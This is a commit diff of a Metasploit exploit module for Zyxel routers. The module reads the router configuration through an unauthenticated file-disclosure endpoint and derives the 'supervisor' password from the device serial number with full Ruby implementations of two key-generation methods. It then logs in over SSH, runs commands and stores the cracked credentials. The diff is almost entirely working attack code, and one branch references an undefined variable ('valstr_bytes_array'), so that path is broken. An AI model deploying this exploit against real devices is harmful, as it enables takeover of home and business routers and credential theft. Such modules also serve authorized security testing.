added pwd derivation and report credential function including updates based on review comments
This commit is contained in:
@@ -4,6 +4,7 @@
|
||||
##
|
||||
|
||||
require 'socket'
|
||||
require 'digest/md5'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
@@ -19,16 +20,16 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Zyxel chained RCE using LFI and weak AES encryption',
|
||||
'Name' => 'Zyxel chained RCE using LFI and weak password derivation algorithm',
|
||||
'Description' => %q{
|
||||
This module exploits multiple vulnerabilities in the zhttpd binary (/bin/zhttpd)
|
||||
and zcmd binary (/bin/zcmd). It is present on more than 40 Zyxel routers and CPE devices.
|
||||
The remote code execution vulnerability can be exploited by chaining the local file disclosure
|
||||
vulnerability in the zhttp binary that allows an unauthenticated attacker to read the entire configuration
|
||||
vulnerability in the zhttpd binary that allows an unauthenticated attacker to read the entire configuration
|
||||
of the router via the vulnerable endpoint `/Export_Log?/data/zcfg_config.json`.
|
||||
With this information disclosure, the attacker can determine if the router is reachable via ssh
|
||||
and uses the second vulnerability in the` zcmd` binary to derive the `supervisor` password exploiting
|
||||
a weak implementation of AES symmetric encrypting with static keys using the device serial number.
|
||||
and use the second vulnerability in the `zcmd` binary to derive the `supervisor` password exploiting
|
||||
a weak implementation of a password derivation algorithm using the device serial number.
|
||||
|
||||
After exploitation, an attacker will be able to execute any command as user `supervisor`.
|
||||
},
|
||||
@@ -101,6 +102,11 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
}
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('STORE_CRED', [false, 'Store credentials into the database.', true])
|
||||
]
|
||||
)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
|
||||
@@ -109,6 +115,187 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
)
|
||||
end
|
||||
|
||||
# supervisor user password derivation functions (SerialNumMethod2 and 3) for Zyxel routers
|
||||
# based on the reverse engineer analysis of Thomas Rinsma and Bogi Napoleon Wennerstrøm
|
||||
# https://github.com/boginw/zyxel-vmg8825-keygen
|
||||
|
||||
def double_hash(input, size = 8)
|
||||
# ROUND 1
|
||||
# take the MD5 hash from the serial number SXXXXXXXXXXXX
|
||||
# this returns a hash of 32 char bytes.
|
||||
# read md5 hash per two char bytes, check if first char byte = '0', then make first byte char == second byte char
|
||||
# store two char bytes in round1 and continue with next two char bytes from the hash.
|
||||
md5_str_array = Digest::MD5.hexdigest(input).split(//)
|
||||
round1_str_array = Array.new(32)
|
||||
j = 0
|
||||
until j == 32
|
||||
if md5_str_array[j] == '0'
|
||||
round1_str_array[j] = md5_str_array[j + 1]
|
||||
else
|
||||
round1_str_array[j] = md5_str_array[j]
|
||||
end
|
||||
round1_str_array[j + 1] = md5_str_array[j + 1]
|
||||
j += 2
|
||||
end
|
||||
round1 = round1_str_array.join
|
||||
# ROUND 2
|
||||
# take the MD5 hash from the result of round1
|
||||
# returns a hash of 32 char bytes.
|
||||
# read md5 hash per two char bytes, check if first char byte = '0', then make first byte char == second byte char
|
||||
# store two char bytes in round2 and continue with next two char bytes.
|
||||
md5_str_array = Digest::MD5.hexdigest(round1).split(//)
|
||||
round2_str_array = Array.new(32)
|
||||
j = 0
|
||||
until j == 32
|
||||
if md5_str_array[j] == '0'
|
||||
round2_str_array[j] = md5_str_array[j + 1]
|
||||
else
|
||||
round2_str_array[j] = md5_str_array[j]
|
||||
end
|
||||
round2_str_array[j + 1] = md5_str_array[j + 1]
|
||||
j += 2
|
||||
end
|
||||
# ROUND 3
|
||||
# take the result of round2 and pick the number (size) of char bytes starting with indice [0] and increased by 3
|
||||
# to create the final password hash with defined number (size) of alphanumeric characters and return the final result
|
||||
round3_str_array = Array.new(size)
|
||||
for i in 0..(size - 1) do
|
||||
round3_str_array[i] = round2_str_array[i * 3]
|
||||
end
|
||||
round3 = round3_str_array.join
|
||||
return round3
|
||||
end
|
||||
|
||||
def mod3_key_generator(seed)
|
||||
# key generator function used in the SerialNumMethod3 pasword derivation function
|
||||
round4_array = Array.new(16, 0)
|
||||
found0s = 0
|
||||
found1s = 0
|
||||
found2s = 0
|
||||
|
||||
while (found0s == 0) || (found1s == 0) || (found2s == 0)
|
||||
found0s = 0
|
||||
found1s = 0
|
||||
found2s = 0
|
||||
|
||||
power_of_2 = 1
|
||||
seed += 1
|
||||
|
||||
for i in 0..9 do
|
||||
round4_array[i] = (seed % (power_of_2 * 3) / power_of_2).floor
|
||||
if (round4_array[i] == 1)
|
||||
found1s += 1
|
||||
elsif (round4_array[i]) == 2
|
||||
found2s += 1
|
||||
else
|
||||
found0s += 1
|
||||
end
|
||||
power_of_2 = power_of_2 << 1
|
||||
end
|
||||
end
|
||||
return seed, round4_array
|
||||
end
|
||||
|
||||
def serial_num_method2(serial_number)
|
||||
# SerialNumMethod2 password derivation function
|
||||
pwd = double_hash(serial_number)
|
||||
return pwd
|
||||
end
|
||||
|
||||
def serial_num_method3(serial_number)
|
||||
# SerialNumMethod3 password derivation function
|
||||
|
||||
# constant definitions
|
||||
keystr1_byte_array = 'IO'.bytes.to_a
|
||||
keystr2_byte_array = 'lo'.bytes.to_a
|
||||
keystr3_byte_array = '10'.bytes.to_a
|
||||
valstr_byte_array = '23456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnpqrstuvwxyz0123456789ABCDEF'.bytes.to_a
|
||||
offset1 = 0x8
|
||||
offset2 = 0x20
|
||||
|
||||
round3 = double_hash(serial_number, 10)
|
||||
round3.upcase!
|
||||
round3_byte_array = round3.bytes.to_a
|
||||
|
||||
md5_str = Digest::MD5.hexdigest(serial_number)
|
||||
md5_str_array = md5_str.split(//)
|
||||
offset = md5_str_array[2] + md5_str_array[3] + md5_str_array[4] + md5_str_array[5]
|
||||
|
||||
result = mod3_key_generator(offset.to_i(16))
|
||||
offset = result[0]
|
||||
round4 = result[1]
|
||||
|
||||
for i in 0..9 do
|
||||
if round4[i] == 1
|
||||
new_val = (((round3_byte_array[i] % 0x1a) * 0x1000000) >> 0x18) + 'A'.bytes.join.to_i
|
||||
round3_byte_array[i] = new_val
|
||||
for j in 0..1 do
|
||||
next unless (round3_byte_array[i] == keystr1_byte_array[j])
|
||||
|
||||
index = offset1 + ((offset + j) % 0x18)
|
||||
round3_byte_array[i] = valstr_byte_array[index]
|
||||
break
|
||||
end
|
||||
elsif round4[i] == 2
|
||||
new_val = (((round3_byte_array[i] % 0x1a) * 0x1000000) >> 0x18) + 'a'.bytes.join.to_i
|
||||
round3_byte_array[i] = new_val
|
||||
for j in 0..1 do
|
||||
next unless (round3_byte_array[i] == keystr2_byte_array[j])
|
||||
|
||||
index = offset2 + ((offset + j) % 0x18)
|
||||
round3_byte_array[i] = valstr_bytes_array[index]
|
||||
break
|
||||
end
|
||||
else
|
||||
new_val = (((round3_byte_array[i] % 10) * 0x1000000) >> 0x18) + '0'.bytes.join.to_i
|
||||
round3_byte_array[i] = new_val
|
||||
for j in 0..1 do
|
||||
next unless (round3_byte_array[i] == keystr3_byte_array[j])
|
||||
|
||||
var = ((offset + j) >> 0x1f) >> 0x1d
|
||||
index = ((offset + j + var) & 7) - var
|
||||
round3_byte_array[i] = valstr_byte_array[index]
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
pwd = round3_byte_array.pack('C*')
|
||||
return pwd
|
||||
end
|
||||
|
||||
def crack_supervisor_pwd(serial)
|
||||
# crack supervisor password using the device serial number
|
||||
# there are two confirmed hashing functions that can derive the supervisor password from the serial number:
|
||||
# SerialNumMethod2 and SerialNumMethod3
|
||||
# both passwords candidates will be returned as hashes
|
||||
|
||||
hash_pwd = { 'method2' => nil, 'method3' => nil }
|
||||
# SerialNumMethod2
|
||||
hash_pwd['method2'] = serial_num_method2(serial)
|
||||
# SerialNumMethod3
|
||||
hash_pwd['method3'] = serial_num_method3(serial)
|
||||
|
||||
print_status("decrypted password SerialNumMethod3: #{hash_pwd['method3']}")
|
||||
print_status("decrypted password SerialNumMethod2: #{hash_pwd['method2']}")
|
||||
return hash_pwd
|
||||
end
|
||||
|
||||
def report_creds(user, pwd)
|
||||
credential_data = {
|
||||
module_fullname: fullname,
|
||||
username: user,
|
||||
private_data: pwd,
|
||||
private_type: :password,
|
||||
workspace_id: myworkspace_id,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}.merge(service_details)
|
||||
|
||||
cred_res = create_credential_and_login(credential_data)
|
||||
unless cred_res.nil?
|
||||
print_status("Credentials for user:#{user} are added to the database...")
|
||||
end
|
||||
end
|
||||
|
||||
def get_configuration
|
||||
# Get the device configuration by exploiting the LFI vulnerability
|
||||
return send_request_cgi({
|
||||
@@ -138,55 +325,23 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
hash_config['software'] = res_json['DeviceInfo']['SoftwareVersion'] if !res_json.dig('DeviceInfo', 'SoftwareVersion').nil?
|
||||
hash_config['serial'] = res_json['DeviceInfo']['SerialNumber'] if !res_json.dig('DeviceInfo', 'SerialNumber').nil?
|
||||
|
||||
if !res_json.dig('X_ZYXEL_LoginCfg', 'LogGp').nil?
|
||||
res_json['X_ZYXEL_LoginCfg']['LogGp'].map do |login|
|
||||
if !login['Account'].nil? && hash_config['ssh_user'] != 'supervisor'
|
||||
login['Account'].map do |account|
|
||||
if account['Username'] == 'supervisor'
|
||||
hash_config['ssh_user'] = account['Username']
|
||||
break
|
||||
end
|
||||
end
|
||||
else
|
||||
break
|
||||
end
|
||||
end
|
||||
login_cfg = res_json.dig('X_ZYXEL_LoginCfg', 'LogGp')
|
||||
unless login_cfg.nil?
|
||||
hash_config['ssh_user'] = login_cfg.select { |l| l['Account']&.select { |a| a['Username'] == 'supervisor' } }.blank? ? nil : 'supervisor'
|
||||
end
|
||||
if !res_json.dig('X_ZYXEL_RemoteManagement', 'Service').nil?
|
||||
res_json['X_ZYXEL_RemoteManagement']['Service'].map do |service|
|
||||
next unless service['Name'] == 'SSH'
|
||||
|
||||
remote_service = res_json.dig('X_ZYXEL_RemoteManagement', 'Service')
|
||||
unless remote_service.nil?
|
||||
service = remote_service.select { |s| s['Name'] == 'SSH' }.first
|
||||
if !service.blank? && (service['Name'] == 'SSH')
|
||||
hash_config['ssh_port'] = service['Port']
|
||||
hash_config['ssh_wan_access'] = service['Mode']
|
||||
hash_config['ssh_service_enabled'] = service['Enable']
|
||||
break
|
||||
end
|
||||
end
|
||||
return hash_config
|
||||
end
|
||||
|
||||
def crack_supervisor_pwd(serial)
|
||||
# crack supervisor password by exploiting a weak implementation of AES symmetric encrypting with static keys using the device serial number
|
||||
# using system call for now. TODO: rewrite functions in native ruby
|
||||
# there are two confirmed hashing functions that can derive the supervisor password from the serial number, called SerialNumMethod2 and SerialNumMethod3
|
||||
# both passwords will be returned in a password hash
|
||||
|
||||
hash_pwd = { 'method2' => nil, 'method3' => nil }
|
||||
# SerialNumMethod2
|
||||
result = `python ~/zyxel_exploit/zyxel-vmg8825-keygen/main.py -f zcfgBeCommonGenKeyBySerialNumMethod2 #{serial}`
|
||||
pwd = result.partition(':')
|
||||
hash_pwd['method2'] = pwd.last.strip
|
||||
|
||||
# SerialNumMethod3
|
||||
result = `python ~/zyxel_exploit/zyxel-vmg8825-keygen/main.py -f zcfgBeCommonGenKeyBySerialNumMethod3 #{serial}`
|
||||
pwd = result.partition(':')
|
||||
hash_pwd['method3'] = pwd.last.strip
|
||||
|
||||
print_status("decrypted password SerialNumMethod3: #{hash_pwd['method3']}")
|
||||
print_status("decrypted password SerialNumMethod2: #{hash_pwd['method2']}")
|
||||
return hash_pwd
|
||||
end
|
||||
|
||||
def execute_command(cmd, _opts = {})
|
||||
print_status("Executing #{cmd}")
|
||||
begin
|
||||
@@ -249,13 +404,16 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
return CheckCode::Unknown('Device serial, supervisor user, SSH port, or SSH WAN access/service status not found.')
|
||||
end
|
||||
|
||||
# check if ssh_port is open, ssh service is enabled and accessible from the WAN side
|
||||
if config['ssh_wan_access'] == 'LAN_WAN' && config['ssh_service_enabled'] && check_port(config['ssh_port'])
|
||||
return CheckCode::Vulnerable
|
||||
elsif !config['ssh_service_enabled']
|
||||
return CheckCode::Safe('SSH service is NOT available.')
|
||||
# check if ssh service is enabled
|
||||
# if true then check ssh_port is open and ssh service is accessible from the WAN side
|
||||
if config['ssh_service_enabled']
|
||||
if config['ssh_wan_access'] == 'LAN_WAN' && check_port(config['ssh_port'])
|
||||
return CheckCode::Vulnerable
|
||||
else
|
||||
return CheckCode::Detected("WAN access to SSH service is NOT allowed or SSH port #{config['ssh_port']} is closed. Try exploit from the LAN side.")
|
||||
end
|
||||
else
|
||||
return CheckCode::Detected("WAN access to SSH service is NOT allowed or SSH port #{config['ssh_port']} is closed. Try exploit from the LAN side.")
|
||||
return CheckCode::Safe('SSH service is NOT available.')
|
||||
end
|
||||
end
|
||||
|
||||
@@ -272,17 +430,29 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
fail_with(Failure::NotVulnerable, 'Device serial, supervisor user, SSH port or SSH WAN access/service status not found.')
|
||||
end
|
||||
|
||||
if config['ssh_wan_access'] == 'LAN_WAN' && config['ssh_service_enabled'] && check_port(config['ssh_port'])
|
||||
print_status("SSH service is available and SSH Port #{config['ssh_port']} is open. Continue to login.")
|
||||
elsif !config['ssh_service_enabled']
|
||||
fail_with(Failure::NotVulnerable, 'SSH service is NOT available.')
|
||||
# check if ssh service is enabled
|
||||
# if true then check ssh_port is open and ssh service is accessible from the WAN side
|
||||
if config['ssh_service_enabled']
|
||||
if config['ssh_wan_access'] == 'LAN_WAN' && check_port(config['ssh_port'])
|
||||
print_status("SSH service is available and SSH Port #{config['ssh_port']} is open. Continue to login.")
|
||||
else
|
||||
fail_with(Failure::Unreachable, "WAN access to SSH service is NOT allowed or SSH port #{config['ssh_port']} is closed. Try exploit from the LAN side.")
|
||||
end
|
||||
else
|
||||
fail_with(Failure::Unreachable, "WAN access to SSH service is NOT allowed or SSH port #{config['ssh_port']} is closed. Try exploit from the LAN side.")
|
||||
fail_with(Failure::NotVulnerable, 'SSH service is NOT available.')
|
||||
end
|
||||
|
||||
# derive supervisor password candidates using password derivation method SerialNumMethod2 and SerialNumMethod3
|
||||
supervisor_pwd = crack_supervisor_pwd(config['serial'])
|
||||
# try supervisor password generated by SerialNumMethod3 first, if it fails then try the password generated by SerialNumMethod2
|
||||
if !do_login(datastore['RHOST'], config['ssh_user'], supervisor_pwd['method3'], config['ssh_port']) && !do_login(datastore['RHOST'], config['ssh_user'], supervisor_pwd['method2'], config['ssh_port'])
|
||||
|
||||
# try supervisor password derived by SerialNumMethod3 first, if it fails then try the password derived by SerialNumMethod2
|
||||
if do_login(datastore['RHOST'], config['ssh_user'], supervisor_pwd['method3'], config['ssh_port'])
|
||||
print_status('Authentication with derived supervisor password using Method3 is successful.')
|
||||
report_creds(config['ssh_user'], supervisor_pwd['method3']) if datastore['STORE_CRED']
|
||||
elsif do_login(datastore['RHOST'], config['ssh_user'], supervisor_pwd['method2'], config['ssh_port'])
|
||||
print_status('Authentication with derived supervisor password using Method2 is successful.')
|
||||
report_creds(config['ssh_user'], supervisor_pwd['method2']) if datastore['STORE_CRED']
|
||||
else
|
||||
fail_with(Failure::NoAccess, 'Both supervisor password derivation methods failed to authenticate.')
|
||||
end
|
||||
|
||||
|
||||
Reference in New Issue
Block a user